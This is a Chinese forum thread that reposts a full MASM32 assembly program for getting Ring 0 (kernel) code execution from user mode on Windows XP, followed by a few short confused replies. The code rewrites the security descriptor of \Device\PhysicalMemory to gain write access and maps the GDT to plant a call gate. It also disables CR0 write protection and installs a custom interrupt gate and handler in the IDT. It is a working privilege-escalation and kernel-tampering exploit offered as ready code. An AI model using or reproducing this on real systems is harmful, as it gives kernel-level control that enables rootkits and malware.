找回密码
 立即注册
搜索
查看: 267|回复: 5

转贴:XP下进RING0的方法

[复制链接]

382

主题

1万

回帖

1万

积分

信息监察员

海浩校长

积分
18269
发表于 2003-8-31 17:18:29 | 显示全部楼层 |阅读模式
BY wowocock

.686
.model flat, stdcall
option casemap :none ; case sensitive
;
#########################################################################
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\advapi32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\advapi32.lib
DEBUG = TRUE
HMODULE typedef dword
NTSTATUS typedef dword
PACL typedef dword
PSECURITY_DESCRIPTOR typedef dword
OBJ_INHERIT=2
OBJ_PERMANENT=10h
OBJ_EXCLUSIVE=20h
OBJ_CASE_INSENSITIVE=40h
OBJ_OPENIF=80h
OBJ_OPENLINK =100h
OBJ_KERNEL_HANDLE=200
OBJ_VALID_ATTRIBUTES=3F2h
SE_KERNEL_OBJECT = 6
GRANT_ACCESS =1
NO_INHERITANCE =0
TRUSTEE_IS_NAME=1
TRUSTEE_IS_USER=1
STATUS_SUCCESS =0
STATUS_ACCESS_DENIED =0C0000022h
STATUS_ACCESS_VIOLATION equ 0C0000005h
STATUS_INFO_LENGTH_MISMATCH equ 0C0000004h
SystemModuleInformation equ 11
PVOID TYPEDEF DWORD
UNLONG TYPEDEF DWORD
CHAR TYPEDEF BYTE
SYSTEM_MODULE_INformATION STRUCT
Reserved ULONG 2 DUP(?)
Base PVOID ?
SysModSize ULONG ?
Flags ULONG ?
Index USHORT ?
Unknown USHORT ?
LoadCount USHORT ?
ModuleNameOffset USHORT ?
ImageName CHAR 256 DUP(?)
SYSTEM_MODULE_INformATION ENDS
UNICODE_STRING struct
nLength word ?
MaximumLength word ?
Buffer dword ?
UNICODE_STRING ends
OBJECT_ATTRIBUTES struct
nLength dword ?
RootDirectory HANDLE ?
ObjectName dword ?;PUNICODE_STRING
Attributes dword ?;
SecurityDescriptor dword ?; PVOID // Points to type
SECURITY_DESCRIPTOR
SecurityQualityOfService dword ?;PVOID // Points to type
SECURITY_QUALITY_OF_SERVICE
OBJECT_ATTRIBUTES ends

TRUSTEE struct
pMultipleTrustee dword ?;PTRUSTEE
MultipleTrusteeOperation dword ?; MULTIPLE_TRUSTEE_OPERATION
Trusteeform dword ?;TRUSTEE_form
TrusteeType dword ?;TRUSTEE_TYPE
ptstrName dword ?;LPTSTR
TRUSTEE ends

EXPLICIT_ACCESS struct
grfAccessPermissions DWORD ?
grfAccessMode dword ? ;ACCESS_MODE
grfInheritance DWORD ? ;
Trustee TRUSTEE <> ;
EXPLICIT_ACCESS ends
MyGATE struct ;门结构类型定义
OFFSETL WORD ? ;32位偏移的低16位
SELECTOR WORd ? ;选择子
DCOUNT BYTE ? ;双字计数字段
GTYPE BYTE ? ;类型
OFFSETH WORD ? ;32位偏移的高16位
MyGATE ends
RING0DATA struct
mcr0 dword ?
mcr2 dword ?
mcr3 dword ?
BaseMemory dword ?
ExtendedMemory dword ?
RING0DATA ends
FindNtoskrnl proto
SetPhyscialMemorySectionCanBeWrited proto :dword
MiniMmGetPhysicalAddress proto :dword
MyGetProcAddress proto :HMODULE,:LPCSTR
ENTERRING0 macro
pushad
pushfd
cli
mov eax,cr0 ;get rid off readonly protect
and eax,0fffeffffh
mov cr0,eax
endm
LEAVERING0 macro
mov eax,cr0 ;restore readonly protect
or eax,10000h
mov cr0,eax
sti
popfd
popad
retf
endm

UNICODE_STR macro str
irpc _c,<str>
db '&_c'
db 0
endm
endm
.data?
GdtLimit dw ?
GdtAddr dd ?
IdtLimit dw ?
IdtAddr dd ?
mapAddr dd ?
OldEsp dd ?
tmp2 db 100 dup(?)
AddrZwQuerySystemInformation dd ?
Ntoskrnl dd ?
ModNtdll dd ?
.data
align 4
objname dw objnamestr_size,objnamestr_size+2
objnameptr dd 0
objnamestr equ this byte
UNICODE_STR <\Device\PhysicalMemory>
objnamestr_size equ $-objnamestr
align 4
ObjAttr db 24 dup (0)
Callgt dq 0 ;call gate's selff
r0Data RING0DATA<>
tmp1 db "Already set HookIntGate=%8xH",0
ntos db "ntoskrnl.exe",0
IsIdtFlag dd 0
MyIntGate MyGATE <0000,0008,00,0eeh,0000>
.code
Ring0Proc1 proc
ENTERRING0
mov eax,Ntoskrnl
call @f
db "KeI386AllocateGdtSelectors",0
@@:
push eax
call MyGetProcAddress
mov KeI386AllocateGdtSelectors,eax
call @f
db "KeI386SetGdtSelector",0
@@:
push Ntoskrnl
call MyGetProcAddress
mov KeI386SetGdtSelector,eax
call @f
db "KeI386ReleaseGdtSelectors",0
@@:
push Ntoskrnl
call MyGetProcAddress
mov KeI386ReleaseGdtSelectors,eax
;set My IntGate in Idt
sidt IdtLimit
mov esi,IdtAddr
movzx eax,word ptr IdtLimit
mov edx,eax
inc edx
add edx,esi;edx->End Idt+1
mov word ptr[MyIntGate],dx
ror edx,16
mov word ptr[MyIntGate+6],dx
ror edx,16
mov IsIdtFlag,1
call Search_XDT
;mov IntCode to Ring0 code realm (use Idt address space)
push eax
shr eax,3
mov ecx,ModNtdll
mov [ecx+38h],eax;set Int number in Ntdll
pop eax
mov edi,eax
add edi,esi ;edi->Empty Gate
lea esi,MyIntGate
cld
movsd
movsd ;Set MyIntGate
mov edi,edx ;copy MyIntCode to End Idt+1
lea esi,MyIntCode
mov ecx,IntLen
cld
rep movsb
LEAVERING0
Ring0Proc1 endp
MyGetProcAddress proc hModule:HMODULE,lpProcName:LPCSTR
local ProcNameLen:dword
push ebx
push esi
push edi
mov esi,lpProcName
cmp esi,10000h
ja @f
mov ecx,lpProcName ;lpProcName为函数序号
mov esi,hModule
mov edi,dword ptr[esi+3ch]
add edi,esi
mov edi,[edi+78h]
add edi,esi

jmp Ordinals
@@:
xor ecx,ecx ;lpProcName为函数指针
GetlpProcNameLength:
cmp byte ptr[esi],0
jz @f
inc cl
inc esi
jmp GetlpProcNameLength
@@: ;cl=ProcName Length
mov ProcNameLen,ecx
mov edi,hModule
mov esi,dword ptr[edi+3ch]
add esi,edi ;esi->PE HEADER
mov edi,[esi+78h]
add edi,hModule
assume editr IMAGE_EXPORT_DIRECTORY
GetExportNameList:
mov ebx,[edi].AddressOfNames ;//得到输出函数名表
add ebx,hModule ;ebx->AddressOfNames(函数名字的指针地址).
xor eax,eax ;//函数序号计数
mov edx,hModule ;//暂存模块句柄;edx->ntoskrnl
push edi ;保存EDI
LoopFindApiStr:
mov ecx,ProcNameLen
add ebx,04
inc eax ;//增加函数计数
mov edi,dword ptr[ebx]
add edi,edx ;//得到一个Api函数名字符串.edi->函数名
StrGetProcAddress:
mov esi,lpProcName ;//得到Api名字字符串
cmpsd;比较前4个字符是否相等
jnz short LoopFindApiStr ;eax=函数名的INDEX

sub cl,4 ;//比较剩余的GetProcAddress串
cld
Goon:
cmpsb
jnz short LoopFindApiStr ;eax=函数名的INDEX
loop Goon

pop edi ;恢复EDI

mov esi,edx
mov ebx,[edi].AddressOfNameOrdinals
add ebx,esi ;//取函数序号地址列表,ebx->AddresssOfNameOrdinals
movzx ecx,word ptr [ebx+eax*2]
Ordinals:
mov ebx,[edi].AddressOfFunctions
add ebx,esi ;//得到ntoskrnl函数地址列表
mov ebx,dword ptr[ebx+ecx*4]
add ebx,esi ;//计算函数地址
mov eax,ebx ;eax=API函数地址,esi=Kernel32.dll hModule
pop edi
pop esi
pop ebx
ret
MyGetProcAddress endp
Search_XDT proc near ;entry esi==Base of Idt or GDT
;Eax==Limit
pushad
mov ebx,eax ;ebx=limit
mov eax,8 ; skipping null selector
@@1:
cmp IsIdtFlag,1
jz IsIdt
cmp dword ptr [esi+eax+0],0 ;gdt
jnz @@2
cmp dword ptr [esi+eax+4],0
jz @@3
jmp @@2
IsIdt:
cmp dword ptr [esi+eax+0],80000h ;idt
jnz @@2
cmp dword ptr [esi+eax+4],0
jz @@3
@@2:
add eax,8
cmp eax,ebx
jb @@1 ;if we haven't found any free GDT entry,
;lets use the last two entries
mov eax,ebx
sub eax,7
@@3:
mov [esp+4*7],eax ; return off in eax
popad ; eax=free GDT or IDT entry selector
ret
Search_XDT endp
MyIntCode:;input eax->code execute in Ring0;0 to release Selector
push ebx ;failure eax=0
push esi
push edi
call IntNext
IntNext:
pop ebx
sub ebx,offset IntNext
test eax,eax ;if Release Selector?
jz ReleaseSel
cmp CallGateSel[ebx],0;if the former Selector has not been
released,use the same Selector
jnz SetGdtSelector;the former Selector has not been realease ,use
the same Selector
push eax
push 1
lea eax,CallGateSel[ebx]
push eax
call dword ptr KeI386AllocateGdtSelectors[ebx]
test eax,eax
pop eax;set callgate
clc
jnz SetExit
SetGdtSelector:
mov word ptr MyCallGate[ebx],ax
shr eax,16
mov word ptr [MyCallGate+6][ebx],ax
lea esi,MyCallGate[ebx]
push esi
push CallGateSel[ebx]
call dword ptr KeI386SetGdtSelector[ebx]
test eax,eax
jz SetOk
push 1
lea eax,CallGateSel[ebx]
push eax
call dword ptr KeI386ReleaseGdtSelectors[ebx]
clc
jmp SetExit
ReleaseSel:
cmp CallGateSel[ebx],0;if Released already?
clc
jz SetExit
@@:
push 1
lea eax,CallGateSel[ebx]
push eax
call dword ptr KeI386ReleaseGdtSelectors[ebx]
stc
SetExit:
xor eax,eax
xor edx,edx
inc edx
cmovc eax,edx;set success flag
pop edi
pop esi
pop ebx
iretd
SetOk:
mov eax,CallGateSel[ebx]
pop edi
pop esi
pop ebx
if DEBUG
mov ecx,IntLen
endif
iretd
CallGateSel dd 0
MyCallGate MyGATE <0000,0008,00,0ech,0000>
KeI386AllocateGdtSelectors dd 0
KeI386SetGdtSelector dd 0
KeI386ReleaseGdtSelectors dd 0
int 3
Ring0CodeLen=$-Ring0Proc1
IntLen=$-MyIntCode
FindNtoskrnl proc uses ebx esi edi
local n:UNLONG
local q:dword
xor eax,eax
mov n,eax
mov q,eax
;ZwQuerySystemInformation(11,&n,0,&n)
lea esi,n
push esi
push 0
push esi
push 11
call dword ptr[AddrZwQuerySystemInformation]
;PULONG q =PULONG(malloc(n));
invoke VirtualAlloc,NULL,n,MEM_COMMIT,PAGE_READWRITE
or eax,eax
jz Exit
mov q,eax
mov esi,eax
;zwQuerySystemInformation(11,q,n,0);
push 0
push n
push esi
push 11
call dword ptr[AddrZwQuerySystemInformation]
cmp eax,STATUS_INFO_LENGTH_MISMATCH
jz Exit
;The data returned to the SystemInformation buffer is a ULONG
count of the number of
;modules followed immediately by an array of
SYSTEM_MODULE_INformATION .
;PSYSTEM_MODULE_INformATION p=PSYSTEM_MODULE_INformATION(q +1);
mov edx,esi
add edx,4;jump over the count of the number of modules
;ntoskrnl=0
mov ecx,dword ptr[esi];count of the number of modules
;for (ULONG i =0;i <*q;i++)
;if (_stricmp(p.ImageName
+p.ModuleNameOffset,"ntoskrnl.exe")==0)
xor ebx,ebx
sub edx,sizeof SYSTEM_MODULE_INformATION
@@:
add edx,sizeof SYSTEM_MODULE_INformATION
cmp ebx,ecx
inc ebx
ja Exit
assume edxtr SYSTEM_MODULE_INformATION
lea edi,[edx].ImageName
movzx eax,[edx].ModuleNameOffset
add edi,eax
mov eax,dword ptr[ntos]
cld
scasd
jnz @b
mov eax,dword ptr[ntos+4]
scasd
jnz @b
mov eax,[edx].Base;
assume edx:nothing
push eax
invoke VirtualFree,q,n,MEM_RELEASE
;free(q);
pop eax
ret
;return ntoskrnl;
Exit:
mov edx,q
test edx,edx
jz @f
invoke VirtualFree,q,n,MEM_RELEASE
@@:
xor eax,eax
ret
FindNtoskrnl endp

SetPhyscialMemorySectionCanBeWrited proc uses ebx esi edi
hSection:HANDLE
local pDacl: PACL
local pNewDacl:PACL
local pSD :PSECURITY_DESCRIPTOR
local dwResWORD ;
local ea:EXPLICIT_ACCESS ;
invoke
GetSecurityInfo,hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INformATION,\
NULL,NULL, addr pDacl,NULL, addr pSD
cmp eax,ERROR_SUCCESS
jz @f
jmp OutSet
@@:
mov dwRes,eax
mov ea.grfAccessPermissions ,SECTION_MAP_WRITE;2
mov ea.grfAccessMode ,GRANT_ACCESS;1
mov ea.grfInheritance,NO_INHERITANCE;0
mov ea.Trustee.pMultipleTrustee,0
mov ea.Trustee.MultipleTrusteeOperation,0
mov ea.Trustee.Trusteeform,TRUSTEE_IS_NAME;1
mov ea.Trustee.TrusteeType,TRUSTEE_IS_USER;1
call @f
db "CURRENT_USER",0
@@:
pop edx
mov ea.Trustee.ptstrName,edx
invoke SetEntriesInAcl,1,addr ea,pDacl,addr pNewDacl
cmp eax,ERROR_SUCCESS
jz @f
jmp OutSet
@@:
invoke
SetSecurityInfo,hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INformATION,\
NULL,NULL,pNewDacl,NULL
OutSet:
cmp pSD,0
jz @f
invoke LocalFree,pSD
@@:
cmp pNewDacl,0
jz @f
invoke LocalFree,pNewDacl
@@:
ret
SetPhyscialMemorySectionCanBeWrited endp
MiniMmGetPhysicalAddress proc virtualaddress:dword
mov eax,virtualaddress
cmp eax,80000000h
jb @f
cmp eax,0a0000000h
jae @f
and eax,1FFFF000h
ret
@@:
mov eax,0
ret
MiniMmGetPhysicalAddress endp
ExecRing0Proc proc Entry:ULONG,seglen:ULONG
local tmpSel:dword
local setcg:dword
local BaseAddress:dword
local NtdllMod :dword
local hSection:HANDLE
local status:NTSTATUS
local objectAttributes:OBJECT_ATTRIBUTES
local objName:UNICODE_STRING
mov status,STATUS_SUCCESS;
sgdt GdtLimit
invoke MiniMmGetPhysicalAddress,GdtAddr
mov mapAddr,eax
test eax,eax
jz Exit1
call @f
db "Ntdll.dll",0
@@:
call LoadLibraryA
mov NtdllMod,eax
lea edx,objnamestr
mov objnameptr,edx
lea edi,ObjAttr
and di,0fffch ;align to 4 bytes,or ZwOpenSection will fail
push edi ;edi->ObjAttr
push 24 ;length of <\Device\PhysicalMemory>
pop ecx
push ecx
xor eax,eax
rep stosb ;put ObjAttr with 0
pop ecx
pop edi
mov esi,edi
stosd
mov dword ptr[esi],ecx
stosd
lea eax,[edx-8] ;eax->objname
stosd ;ObjAddr(18h,00,00,00,00,00,00,00,offset
objname,40,02,00,00,dd 2 dup(0)
mov dword ptr [edi],240h
call @f
db "ZwOpenSection",0
@@:
push NtdllMod
call GetProcAddress
mov ebx,eax ;ebx=ZwOpenSection
push esi ;esi->ObjAttr
push SECTION_MAP_READ or SECTION_MAP_WRITE
lea edi,hSection
push edi ;edi->hSection
call eax ;ZwOpenSection(&hSection,SECTION_MAP_READ or
SECTION_MAP_WRITE,ObjAttr)
mov status,eax
cmp status,STATUS_ACCESS_DENIED
jnz AccessPermit
mov eax,ebx
push esi
push READ_CONTROL or WRITE_DAC
push edi
call eax
mov status,eax
invoke SetPhyscialMemorySectionCanBeWrited,hSection
call @f
db "ZwClose",0
@@:
push NtdllMod
call GetProcAddress
push hSection
call eax ;zwClose hSection
mov eax,ebx
push esi
push SECTION_MAP_READ or SECTION_MAP_WRITE
lea edi,hSection
push edi
call eax
mov status ,eax
;status
=ZwOpenSection(&hSection,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&objectAttributes);

AccessPermit:
cmp status ,STATUS_SUCCESS
jz @f
;printf("Error Open PhysicalMemory Section
Object,Status:%08X\n",status);
;return 0;
mov eax,0
ret
@@:
movzx eax,word ptr[GdtLimit]
inc eax
invoke MapViewOfFile,hSection, FILE_MAP_READ or FILE_MAP_WRITE, 0,
mapAddr, \
eax
mov BaseAddress,eax
cmp BaseAddress,0
jnz @f
;printf("Error MapViewOffile:");
;PrintWin32Error(GetLastError()); return 0;
mov eax,0
ret
@@:
mov esi,eax ;esi->gdt base
movzx eax,word ptr GdtLimit ;eax=gdt limit
mov IsIdtFlag,0
call Search_XDT
mov tmpSel,eax
mov setcg,FALSE;
mov esi,BaseAddress
mov ebx,eax
add ebx,esi
assume ebxtr MyGATE
mov edx,Entry
mov [ebx].OFFSETL,dx
mov [ebx].SELECTOR ,8
mov [ebx].DCOUNT ,0
mov [ebx].GTYPE,0ech
shr edx,16
mov [ebx].OFFSETH,dx
mov setcg,TRUE
cmp setcg,0
jnz ChangeOK
call @f
db "ZwClose",0
@@:
push NtdllMod
call GetProcAddress
push hSection
call eax
xor eax,eax
ret
ChangeOK:
and dword ptr Callgt,0
or al,3h
mov word ptr [Callgt+4],ax
;farcall[2]=((short)((ULONG)cg-(ULONG)BaseAddress))|3; //Ring 3
callgate;
invoke VirtualLock,Entry,seglen
test eax,eax
jnz @f
xor eax,eax
ret
@@:
invoke GetCurrentThread
invoke SetThreadPriority,eax,THREAD_PRIORITY_TIME_CRITICAL
invoke Sleep,0
call fword ptr [Callgt] ;use callgate to Ring0!
;_asm call fword ptr [farcall]
invoke GetCurrentThread
invoke SetThreadPriority,eax,THREAD_PRIORITY_NORMAL
invoke VirtualUnlock,Entry,seglen
;//Clear callgate
;*(ULONG *)cg=0;
;*((ULONG *)cg+1)=0;
mov esi,BaseAddress
mov eax,tmpSel
add eax,esi
mov dword ptr[eax],0
mov dword ptr[eax+4],0
;ZwClose(hSection);
call @f
db "ZwClose",0
@@:
push NtdllMod
call GetProcAddress
push hSection
call eax
mov eax,TRUE
ret
ExecRing0Proc endp

main:
assume fs:nothing
push offset MySEH
push fs:[0]
mov fs:[0],esp
mov OldEsp,esp
mov ax,ds ;if Win9x?
test ax,4
jnz Exit1
call @f
db "ntdll.dll",0
@@:
call LoadLibraryA
or eax,eax
jz Exit1
mov ModNtdll,eax
movzx edx,word ptr[eax+38h]
test edx,edx
jnz AlreadyHookInt
call @f
db "ZwQuerySystemInformation",0
@@:
push eax
call GetProcAddress
or eax,eax
jz Exit1
mov AddrZwQuerySystemInformation,eax
call FindNtoskrnl
test eax,eax
jz Exit1
mov Ntoskrnl,eax
invoke VirtualLock,offset Ring0Proc1,Ring0CodeLen
invoke ExecRing0Proc,offset Ring0Proc1,Ring0CodeLen
invoke VirtualUnlock,offset Ring0Proc1,Ring0CodeLen
mov eax,ModNtdll
movzx edx,word ptr[eax+38h]
AlreadyHookInt:
invoke wsprintfA,addr tmp2,addr tmp1,edx
invoke MessageBoxA,0,addr tmp2,addr tmp2,MB_OK
Exit1:
pop fs:[0]
add esp,4
invoke ExitProcess,0
MySEH :
mov esp,OldEsp
pop fs:[0]
add esp,4
invoke ExitProcess,-1
end main
;NTSTATUS KeI386AllocateGdtSelectors( OUT PUSHORT SelArray,
;IN int NumOfSelectors );
;NTSTATUS KeI386ReleaseGdtSelectors( OUT PUSHORT SelArray,
;IN int NumOfSelectors );
;NTSTATUS KeI386SetGdtSelector( IN ULONG sels, IN PVOID desc )

99

主题

973

回帖

1440

积分

金牌会员

积分
1440
发表于 2003-8-31 23:26:29 | 显示全部楼层
狂晕,什么是Ringo啊
回复

使用道具 举报

108

主题

949

回帖

1420

积分

金牌会员

积分
1420
发表于 2003-9-1 09:27:33 | 显示全部楼层
天啦,看不懂,高高手!
回复

使用道具 举报

0

主题

2

回帖

3

积分

新手上路

积分
3
发表于 2003-9-1 17:13:16 | 显示全部楼层
如果把cpu当作一个世界的话。ring0就是神,ring3就是人。。。。。。
回复

使用道具 举报

382

主题

1万

回帖

1万

积分

信息监察员

海浩校长

积分
18269
 楼主| 发表于 2003-9-1 19:02:58 | 显示全部楼层
编译环境:masm32v8软件包
回复

使用道具 举报

19

主题

593

回帖

582

积分

高级会员

积分
582
发表于 2003-9-1 19:26:07 | 显示全部楼层
什么啊,看不懂
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|海浩社区

GMT+8, 2025-9-24 23:40 , Processed in 0.094702 second(s), 21 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表